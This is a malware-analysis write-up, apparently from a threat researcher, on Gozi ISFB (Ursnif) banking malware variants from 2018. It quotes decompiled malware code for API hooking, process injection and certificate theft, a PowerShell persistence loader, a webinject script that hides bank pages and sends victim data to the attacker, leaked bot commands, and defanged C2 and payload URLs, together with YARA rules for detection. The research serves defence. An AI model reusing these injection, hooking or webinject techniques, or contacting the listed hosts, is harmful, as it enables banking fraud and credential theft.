Goal: Reverse engineer and analyze one of the latest Gozi “ISFB” ( also called “Ursnif'” amongst various researchers) banking malware variants focusing on the one of the latest “client.dll” 32-bit (x86) one. 

https://platform.twitter.com/widgets.js Malware:
Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c)
Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438)
Leaked  “client.dll” (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997)
Unpacked Injected “client.dll” (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9)
Other observed “client.dll”:
*Unpacked Injected “client.dll” (July 31, 2018)(MD5: 22b748df15e580b10c984f691f7c0fa9)
*Unpacked “loader.dll” (August 20, 2018)(MD5: 3ec8607de7b0b194f19962d3e987031c)
*Unpacked Injected “client.dll” (August 20, 2018)(MD5: 51d010dbca2aa9031b4d12312b56637b)
Outline:

I. Malware Campaign Spreading "ISFB" Banker  
II. Background on ISFB Banker
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
IV. Differences Between Leaked ISFB and ISFB 2.16/2.17 Variants
V. Tor Onion Library
VI. Stealer Methods
VII. Hooking Method
VIII. Process Injection
IX. Inject Processor
X. Yara Signature:
A. ISFB v2.17 "loader.dll" (32-bit) version
B. ISFB v2.16/2.17 "client.dll" (32-bit) version
XI. Addendum
A. Extracted ISFB Configuration
B. Hooked APIs
C. Original Commands from Leaked ISFB v2.13
D. ISFB "RM3" Function and Debug Statements

I. Malware Campaign Spreading “ISFB” Banker
While reviewing one of the latest malware campaign spreading the notable ISFB banker, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions. 
II. Background on ISFB Banker
ISFB Banker malware is one of the oldest and one of the most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable “76Service,” “CRM,” and “Project Blitzkrieg” criminal business clubs targeting customers of financial institutions. I highly recommend reading Maciej Kotowiez’s paper titled “ISFB: Still Live and Kicking” before learning more about ISFB banker. 
The ISFB version “2.13.24.1” (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub.
In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices:

Minimalistic ISFB: $12,000 USD
Keylogger support: $3,0000 USD
SOCKS support: $3,000 USD
Stealer support: $5,000 USD
Anti-Rapport: $4,000 USD
VNC support: $8,000 USD
Backconnect support: $3,000 USD

The original client dropper/loader module was called originally “CRM” as part of the Gozi ISFB project. It is notable that the Gozi project originally included the “IAP” web panel project and the “ICS” configurator. It is worth to highlight that there are multiple groups that use the ISFB toolkit including the ones that developed their own  “Dreambot” web panel. Fortinet did interesting coverage of the differences between “Dreambot” and the leaked ISFB (including its “joined files” (or “FJ”) struct). 
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
ISFB banker also contains a simple injected “loader.dll” after the cryptor routine that is used to launch the execution of the malware.
The unpacked ISFB loader is small in size of just 44 kb with three imported DLLs.

Notably, this loader was observed for observed heavily leveraging PowerShell scripting for registry persistence functionality via the hardcoded cmd command invoking PowerShell:

powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty\
'HKCU:\%S').%s))

For example, the loader creates a PowerShell script in hex in the registry that can be decoded  that leverages QueueUserAPC bytecode injection to process the next stage as follows:

$qbhuthvrmyf = "[DllImport("kernel32")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32")]
public static extern
IntPtr VirtualAllocEx(IntPtr wwj,IntPtr lxffofo,uint aoconcm,uint iuk,uint \
 hwsivuroj);"
$xuisvutgkgo=Add-Type -memberDefinition $qbhuthvrmyf -Name 'qyaaexcigm' \
-namespace Win32Functions -passthru;
$ujppmfuuik="[DllImport("kernel32")]
public static extern IntPtr GetCurrentThreadId();
[DllImport("kernel32")]
public static extern IntPtr OpenThread(uint xwocdx,uint adflgvt,IntPtr xbxe);
[DllImport("kernel32")]
public static extern uint QueueUserAPC(IntPtr ijaq, IntPtr twsxxmyebm,\
 IntPtr xfnggdcn);
[DllImport("kernel32")]
public static extern void SleepEx(uint ocqxap,uint cpvoeuen);";
$eeihwxjq=Add-Type -memberDefinition $ujppmfuuik -Name 'btdpmiijeg' -namespace \
 Win32Functions -passthru;

The “loader” module communicates over HTTP to a separated ISFB server, which hosts the “client” modules (32-bit and 64-bit ones) and the above PowerShell script called “run.”
Additionally, on July 30, 2018, one ISFB group released the “client.dll” with debugging on. This version 3.0 with build ID “613” revealed that that the loader was called “RM3”.

[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s

The main internal “loader.dll” control functions with the respective description are as follows:


















RM3 "loader.dll' FunctionFunction Description
LdrStartLoaderProcessstarts "loader.dll" process
Ldr2LoadInichecks "LOADER.INI" signature check
Ldr2LoadFileretrieves modules over HTTP and checks for signature
LdrIsElevatedchecks the host integrity level and if it has elevated privileges
Ldr2GetLoaderModuleretrieves and loads the startup module
Ldr2SaveModulesToRegistrysaves modules to the registry and creates registry hives
Ldr2SaveAllModulessaves 32-bit and 64-bit "client.dll" modules to the registry
Ldr2MakeRunRecordcreates an autorun value and makes sure the memory is allocated.
Ldr2RegEnumCallbackenumerates and writes autorun value and sets
Ldr2MakeEncodedImagecreates an encoded image using the public key with Serpent and checks for "BlExecuteDllImage" export
ReplaceSubStrparses and replaces strings
Ldr2SetupModulestries to elevate privileges and loads modules, walks the registry, and and restarts modules as necessary
Ldr2LoadModulestries to load modules
Ldr2DisableIeDialogsdisables Internet Explorer dialog since it leverages it for downloading modules
Ldr2LoaderMainstarts the main loader function

All of the modules are encoded with Serpent encryption and can be decoded using its public key.
Subsequently, the malware would subsequently install the client.dll via injecting it into explorer.exe and storing a copy of it in the registry. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL “kernel32.dll” and “ntdll.dll” making malware analysis just a little bit more complicated. 
IV. Differences Between Leaked ISFB and Latest ISFB Variant
I decided to take a look at the leaked code and review their compiled client DLL code. It is notable that the leaked ISFB had the version “2.13.24.1″ (February 3, 2015), while one of the latest ISFB variants had a version of “2.16” (April 14, 2018) with the build id “994.” The observed botnet ID for the latest sample was “1000.” It is worth noting that since ISFB also has version “2.17” (August 20, 2018), which improved some code structure from the previous version and added @KILL@=* inject control.
The unpacked 2.16 client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size. The bot also stores “Client32” and “Client64” in FJ struct.
The newer sample leverages “.bss” section and unpacks the code via the following pseudo-coded C++ function:

///////////////////////////////////////////////////////////////  
///////// ISFB variant ".bss" DecodeFunction //////////////////
///////////////////////////////////////////////////////////////
int __stdcall bss_decodeFunction(int a1)
v15 = 0;
String1 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
lstrcpynA(&String1, ".bss", 8);
v1 = decoder(a1, (int)&String1);
v2 = v1;
if ( v1 )
{
v3 = *(_DWORD *)(v1 + 12);
if ( v3 && *(_DWORD *)(v1 + 16) )
{
v4 = *(_DWORD *)(v1 + 16);
v5 = *(_DWORD *)"018";
v6 = (*(_DWORD *)"14 2018" ^ *(_DWORD *)"Apr 14 2018" ^ (v4 + v3)) + 14;
v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u);
v8 = v7;
if ( v7 )
{
ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1);
// "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
v9 = *(_DWORD *)(v2 + 12);
dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9)
+ *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU)
- *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU);
if ( dword_1002B0D4 == 0x736C6E70 )
memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16));
else
v15 = 12;
VirtualFree(v8, 0, 0x8000u);
}

It is important to investigate binary-level and function-level differences between the leaked earlier version of ISFB and the recent unpacked one before taking a deeper dive into the newer version.

The latest v2.16 version contains the exact same static import table as the original leaked v2.13 one with the additional 4 ntdll.dll (e.g., new and changed APIs are NtQuerySystemInformation, RtlUpcaseUnicodeString, RtlImageNtHeader, _snprintf, etc.) and 7 kernel32.dll imports.
In order to identify and highlight differences, I decided to utilize an open-source plugin tool “Diaphora” for IDA leveraging its decompiler mode.
The binary diff analysis between the latest client.dll versus the leaked one version shows the following results:

Full matches: 259 functions
Partial matches: 72 functions
Unreliable matches: 126 functions
Unmatched functions in the latest client.dll: 21 functions
Unmatched functions in the leaked client.dll: 188 functions


Some of the differences in the latest client DLL include additions in the URI template such as follows with “/images/” URI path, for example:

&ip=%s
&os=%s
&tor=1
%time=%lu
%action=%u

By and large, in general, the ISFB botserver communication channels relies on four major types of communication:

Hardcoded domains
Domain Generation Algorithm (DGA)
Tor Onion Communication
Peer-to-Peer Protocol (P2P)
The URI requests are linked to the same path “soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x”:

".gif" - obtain a new task, which is linked to "LastTask" registry check
".jpeg" - obtain a new config, which saves the new config.
It is linked to "Main" registry check, which saves the config.
".bmp"
".avi"
The newer version has a different user-agent string as “Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36” versus the leaked one with “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s).”

By and large, the ISFB variant bot heavily relies on the registry for storage and queries of tasks including the following registry query checks for the values of interest:

#define szDataRegDataValue_src     _T("Main")
#define szDataRegBlockValue_src _T("Block")
#define szDataRegTemplate_src _T("Temp")
#define szDataRegClientId_src _T("Client")
#define szDataRegIniValue_src _T("Ini")
#define szDataRegKeysValue_src _T("Keys")
#define szDataRegKillValue_src _T("Kill")
#define szDataRegExeValue_src      _T("Install")
#define szDataRegTaskValue_src _T("LastTask")
//#define szDataRegConfigValue_src _T("LastConfig")
#define szDataRegTorValue_src _T("TorClient")
//#define szDataRegExecValue_src _T("Exec")
//#define szDataRegOperaHook_src _T("OpHook")
//#define szDataRegCrhromeHook_src _T("CrHook")

The bot also checks the config settings for “LastTask”,  for example in the registry via the following “GetLastTask” proc near prototype in ASM:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+lpMem]
push eax ; int
xor ebx, ebx
push offset aLasttask ; "LastTask"
 
mov [ebp+var_14], ebx
call RegQueryValueExFunction
cmp eax, ebx
jnz short loc_100036CC
cmp [ebp+cbData], 8
mov eax, [ebp+lpMem]
jnz short loc_100036BC
mov ecx, [eax]
mov dword ptr [ebp+Data], ecx
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
jmp short loc_10003BA9

Additionally, the latest ISFB variant deploys system checks in addition to the usual software enumeration via HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\ for “net view” command (view of mapped devices, shares) as well as “nslookup myip.opendns.com resolver1.opendns.com” (view of external IP address), which are new to the malware variant.

IV. Tor Onion Library
This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for botserver communications
The downloaded Tor DLL contains the program database as follows:
C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb
Additionally, the Tor DLL library contained the following four DLL exports:

Name Address Ordinal
TorCloseRequest 100022D0 1
TorCompleteRequest 10002210 2
TorOpenRequest 10001DF0 3
TorSendRequest 10002100 4
DllEntryPoint 10184402 [main entry]
The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the “file://” path.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi Tor "file://" & Communicator Check ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp ;
mov ebp, esp
push ecx
push ecx ; lpSrch
push ebx ; lpFirst
push esi
mov esi, StrStrIA
push edi
mov edi, eax
push offset Srch ; "file://"
push edi ; lpFirst
call esi ; StrStrIA
xor ebx, ebx
cmp eax, edi
jz short loc_10003B98
push offset a_onion ; ".onion/"
push edi ; lpFirst
call esi ; StrStrIA
test eax, eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+lpMem]
push eax
jz short loc_10003B90
push 1
push ebx
push ebx
push ebx
push ebx
push dword_1002B160
push edi
call sub_1000E0EE
jmp short loc_10003BA9

The following pseudo-coded instruction is responsible for storing the "TorClient" in registry:
///////////////////////////////////////////////////////////////////////  
/////// ISFB "TorClient" RegistrySetup excerpt ////////////////////////
///////////////////////////////////////////////////////////////////////
if ( cbData > 0x40000 )
{
v8 = GetTempFileNameA_getcurrentthread(0);
if ( v8 )
{
v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7);
if ( !v2 )
{
v9 = lstrlenA(v8) + 1;
rol4(v8, v9, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)v8, v9, 3u);//"TorClient"
}
HeapFree(hHeap, 0, (LPVOID)v8);
}
else
{
v2 = 8;
}
}
else
{
rol4(ImageBase, cbData, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)ImageBase, v7, 3u);//TorClient"
}
}
if ( ImageBase )
HeapFree(hHeap, 0, ImageBase);
return v2;
}

V. Stealer Methods
Finally, ISFB leverages multiple functionalities to retrieve certificates, extract cookie information, steal email accounts stored locally.
A. “GET_SYSINFO”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.
B. “GET_CERTS”

The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server. The function also contained a unique string “ISFB.”

///////////////////////////////////////////////////////////////////////  
/////// ISFB "GetCertificates" to .pfx ///////////////////////////////
///////////////////////////////////////////////////////////////////////
CertExportToPfx("My", CertFullName);
CertExportToPfx("AddressBook", CertFullName);
CertExportToPfx("AuthRoot", CertFullName);
CertExportToPfx("CertificateAuthority", CertFullName);
CertExportToPfx("Disallowed", CertFullName);
CertExportToPfx("Root", CertFullName);
CertExportToPfx("TrustedPeople", CertFullName);
CertExportToPfx("TrustedPublisher", CertFullName);

C. “GET_COOKIES”
ISFB tries to obtain cookies from the following browsers, for example:

Internet Explorer (local search as "*.txt" in APPDATA\Low)
Mozilla Firefox (local search as Mozilla\Firefox for "cookies.sqlite")

The ISFB variant also searches for “*.sol” files associated with Flash Player cookies.
C. “GET_MAIL”
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails and passwords and stores them in this following format:

type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
Additionally, it issues a command “cmd.exe” /C pause mail” to presumably unlock the retrieval of email credentials from applications.
VI. Hooking Method
While “relaxing” SPDY browser security (e.g., via “user_pref(“network.http.spdy.enabled”, false)” in Mozilla Firefox’s “prefs.js” file), ISFB uses their own user-mode hooking method of various API calls.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.

The malware also hooks LoadLibraryA, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess* (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
//////////////////////////////////////////////////////
// ISFB Banker 'EnableHook' with "0xe9" offset jmp ///
//////////////////////////////////////////////////////
v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12);
lpAddress = v4;
if ( v4 )
{
flNewProtect = 0;
if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) )
{
v5 = flOldProtect;
*(_DWORD *)(flOldProtect + 0x18) = a1;
*(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4;
*(_DWORD *)(v5 + 12) = v4;
*(_DWORD *)(v5 + 16) = *(_DWORD *)v4;
v14 = HookVirtual_recurs(a2, v5, a1, a3);
if ( v14 == 1 )
{
if ( dword_1002B070 )
{
v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8));
if ( v6 )
{ // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtect
if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) )
{
*(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5;
*(_BYTE *)v6 = 0xE9u; // "0xe9" opcode for a jump with 32-bit relative
*(_DWORD *)(v5 + 0x14) = v6;
*(_DWORD *)(a1 + 0xC) = v6;
if ( flOldProtect != 0x40 )
flOldProtect = 0x20;
VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect);
}
}
}
*(_DWORD *)lpAddress = *(_DWORD *)(v5 + 20) - a2;
VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect);
*(_DWORD *)(v5 + 28) |= 0x102u;
if ( *(_WORD *)(v5 + 28) & 0x200 )
VirtualProtectMain(v7, (const CHAR *)v12, v5);
EnterCriticalSection(&stru_1002B220);
v8 = dword_1002B218;
*(_DWORD *)v5 = dword_1002B218;
*(_DWORD *)(v5 + 4) = &dword_1002B218;
v8[1] = v5;
dword_1002B218 = (LPVOID)v5;
LeaveCriticalSection(&stru_1002B220);
*(_DWORD *)(a1 + 16) = a2 + *(_DWORD *)(v5 + 16);
v14 = 0;
v9 = ZwQueryInformationProcess2(a2);
VII. Process Injection
One of the notable malware components is its process injection routine that deals with “client” DLL injection. The process injection works around CreateProcess* hooks set up by the malware.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (0x4) and the subsequent process injection call. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.

ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory process original entry point (OEP) and wait until it loads and then restores unmapping the executable in the process memory and resuming/running it in memory. This method is also referenced in the leaked ISFB.

//////////////////////////////////////////////////////
// ISFB Banker CreateProcess "OEP" Patch Until Main ///
//////////////////////////////////////////////////////
signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void *a4)
{

lpProcessInformation_thread = a1;
v15 = 0;
memset(&v16, 0, 0x2C8u);
hProcess = *(HANDLE *)lpProcessInformation_thread;
v6 = *(void **)lpProcessInformation_thread;
origin_patch = 0xCCCCFEEB;
intArchitect = 0;
if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86
{
intArchitect = 0x10;
}
else if ( orig_patch & 1 )
{
oep = GetProcessEntry(a2);
goto LABEL_19;
}
v15 = 0x10007;
oep_1 = a4;
if ( !a4 )
oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0(*(HANDLE *)lpProcessInformation_thread);
if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead)
&& NumberOfBytesRead == 4
&& PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch
{
v10 = 3000;
do
{
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 )
v10 = 0x64;
SuspendThread(*(HANDLE *)(lpProcessInformation_thread + 4));
v10 -= 0x64;
RtlNtStatusToDosErrorMain(*(_DWORD *)(lpProcessInformation_thread + 4), (int)&v15);
} // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory
while ( v10 > 0 && v17 != oep_1 );
if ( v17 == oep_1 )
oep = injectImageUnmap(a2, (HANDLE *)lpProcessInformation_thread, intArchitect, 0);
else
oep = 0x261;
PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes
LABEL_19:
if ( oep != 0xFFFFFFFF )
goto LABEL_21;
}
oep = GetLastError();
LABEL_21:
if ( !(a3 & 4) )
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
return oep;
}
VIII. Inject Processor
The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control:

@ID@  -> bot id (victim host identity)   
@GROUP@ -> group id (group id of the bot)
@RANDSTR@ -> random string
@URL=*@ -> targeted financial institutions
@CONFIG=*@ -> configuration
@VIDEO=*@ -> video to record once the victim visit the page of interest
@SOCKS=*@ -> connect SOCKS server
@KILL=*@ -> kill command (only with 2.17 version)
@VNC=*@ -> connect VNC
As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example.

/////////////////////////////////////////////////////////
////////////////// ISFB WebInject Config Example ////////
/////////////////////////////////////////////////////////
"*", 
"<!DOCTYPE***",
"<!DOCTYPE***<script type='text/javascript'\
id='script_id' src='/@ID@/script.js?\
x=@ID@&y=@GROUP@&d=@ID@&bname=&v=@VIDEO@=7,180'>"
}

One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters { @VIDEO@=7,180 }. Indeed, ISFB utilizes imported Avifil32.dll and various AVI* functions to record data to a stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud.
Moreover, ISFB also uses known webinject scripts developed by another actor. The scripts are called “_brows.cap” with the script name . The example of the observed inject is as follows:

/////////////////////////////////////////////////////////
////////////////// Inject Excerpt ///////////////////////
/////////////////////////////////////////////////////////
var wdebug = 0;
var replacer_run_count = 0;
var bot_nick = "@ID@";
var account_id;
String.prototype.fAkElink="";
String.prototype.fAkEstyle=document.createElement("style");
String.prototype.fAkEcss='body{visibility:hidden;}';
''.fAkEstyle.setAttribute("type", "text/css");
if(''.fAkEstyle.styleSheet){// IE
''.fAkEstyle.styleSheet.cssText = ''.fAkEcss;
} else {// w3c
String.prototype.fAkEcssText = document.createTextNode(''.fAkEcss);
''.fAkEstyle.appendChild(''.fAkEcssText);
}
if(document.domain.search(/<TARGETED_BANK_URL/g)>-1){
document.getElementsByTagName("head")[0].appendChild(''.fAkEstyle);
String.prototype.fAkEstart=function(){
if((document.readyState&&document.readyState=="complete")||\
(document.body&&document.body.readyState=="complete")){
if(document.body&&document.body.nodeName.toUpperCase()!="FRAMESET"){
if(!document.getElementById("js_com_1_qweqwe")){\

String.prototype.fAkETitle=
document.getElementsByTagName('title').length>0?document.getElementsByTagName('title')[0].innerHTML:"doc. have frame";
''.fAkEMakeElem("c=1&at=2&n=@ID@&b=TARGETED_BANK_URL/"+"&d="+encodeURIComponent(document.domain)
+"&doc_url="+encodeURIComponent(document.location.href)+"&doc_title="+encodeURIComponent(''.fAkETitle)+"&r="+Number(new Date()),
function(){document.body.style.visibility = "visible";},"script","js_com_1_qweqwe",false);
};
}else{
document.body.style.visibility = "visible";
}
}else{setTimeout(function(){''.fAkEstart()},1000);}
};''.fAkEstart();
}

IX. Yara Signature
A. ISFB v2.17 “loader.dll” (32-bit) version

rule crime_win32_isfb_v217_loader_dll {
meta:
description = "Detects ISFB loader.dll version 2.17 Aug 20, 2018"
author = "@VK_Intel"
date = "2018-08-28"
hash1 = "d3254467f310f5de9387119d9ec572f045286df70747ca97d99a993eca3efa23"
strings:
$x1 = "/C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\\%S').%s))" fullword wide
$s0 = ".bss" fullword wide
$s1 = "GetBinaryValue" fullword wide
$s2 = "loader.dll" fullword ascii
$s3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" fullword wide
$s4 = "/C ping localhost -n %u && del \"%s\"" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 100KB and
pe.imphash() == "d7f06c756511270cacf97147c81ebb0b" and
( 1 of ($x*) or 4 of them )
) or ( 5 of them )
}

B. ISFB v2.16/2.17 “client.dll” (32-bit) version

rule crime_win32_isfb_v216_217__client_dll {
meta:
description = "Detecs Unpacked Gozi ISFB v. 2.16 variant client32.dll"
author = "@VK_Intel"
date = "2018-08-25"
hash1 = "5df8714c8ab4675681d45f5cc1408ce734010ccf179fb6386304e6194568b60a"
strings:
$x1 = ".bss" fullword ascii
$s1 = "PluginRegisterCallbacks" fullword ascii
$s2 = "Client" fullword ascii
$s3 = "TorClient" fullword ascii
$s4 = "client.dll" fullword ascii
$s5 = ".jpeg" fullword ascii
$s6 = ".bmp" fullword ascii
$s7 = "nslookup myip.oOutlinpendns.com resolver1.opendns.com" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
( 1 of ($x*) and 4 of them )
) or ( all of them )
}

X. Addendum
A. Extracted ISFB Configuration*

Config Fail Timeout     [u'1200']
Send Timeout [u'240']
Knocker Timeout [u'300']
DGA Season [u'10']
Botnet ID [u'1000']
DGA TLDs [[u'com', u'ru', u'org']]
IP Service [u'curlmyip[.]net']
BC Timeout [u'10']
Timer [u'20']
Server [u'110']
64-bit DLL URLs [[u'zjsgyyq[.]com/leader/pdf.zip', u'portaldobomretiro[.]net/wp-admin/network/2.bin', u'colourshield[.]com/m1/pdd.rtf', u'mukeshjshah[.]com/admuin/litecoin.rar', u'petras[.]name/fotos/zek.dmg', u'sbmpowisle.dag[.]pl/js/989999.sh', u'cdn.robatop[.]at/jvassets/zarch/xx.dmg']]
Encryption key [u'Nf6lU8d5X0i1Wr7V']
Value 11 [u'1']
Config Timeout [u'1200']
DGA CRC [u'0x4eb7d2ca']
Domains [[u'inc.robatop[.]at/wpapi', u'torafy[.]cn/wpapi', u'app.tohio[.]at/wpapi', u'scr.tohio[.]at/wpapi', u'yraco[.]cn/wpapi', u'poi.robatop[.]at/wpapi', u'login.cdrome[.]at/wpapi', u'az.popdel[.]at/wpapi', u'io.ledal[.]at/wpapi', u'in.ledal[.]at/wpapi', u'api.galio[.]at/wpapi', u'ssl.lottos[.]at/wpapi', u'harent[.]cn/wpapi']]
DGA Base URL [u'constitution[.]org/usdeclar.txt']
Task Timeout [u'240']
TOR Domains [[u'4fsq3wnmms6xqybt[.]onion/wpapi', u'em2eddryi6ptkcnh[.]onion/wpapi', u'nap7zb4gtnzwmxsv[.]onion/wpapi', u't7yz3cihrrzalznq[.]onion/wpapi']]
32-bit DLL URLs [u'zjsgyyq[.]com/leader/doc.zip', u'portaldobomretiro[.]net/wp-admin/network/1.bin', u'colourshield[.]com/m1/dll.rtf', u'mukeshjshah[.]com/admuin/coin.rar', u'petras[.]name/fotos/dash.dmg', u'sbmpowisle.dag[.]pl/js/757575.sh', u'cdn.robatop[.]at/jvassets/zarch/x.rar']]

*Cape Sandbox
B. Hooked APIs

Mozilla Firefox:
PR_Read
PR_Write
PR_Close
PR_Poll

Internet Explorer:
InternetReadFile
InternetWriteFile
InternetReadFileExA
InternetReadFileExW
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
InternetCloseHandle
InternetQueryDataAvailable
InternetStatusCallback
InternetConnectA
InternetConnectW
HttpQueryInfoA
HttpQueryInfoW
HttpAddRequestHeadersA
HttpAddRequestHeadersW
HttpOpenRequestW
InternetSetStatusCallback

Windows Explorer:
CreateProcessA
CreateProcessW
CreateProcessAsUserA
CreateProcessAsUserW

Windows Explorer:
RegGetValueW
RegQueryValueExW

Google Chrome & Opera Browser:
WSARecv
WSASend
closesocket
recv
LoadLibraryExW

Advapi32.dll:
CryptGetUserKey

C. Original Commands from Leaked ISFB v2.13* in Russian

GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows. 
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES=* - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.

SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер

GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные

SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра

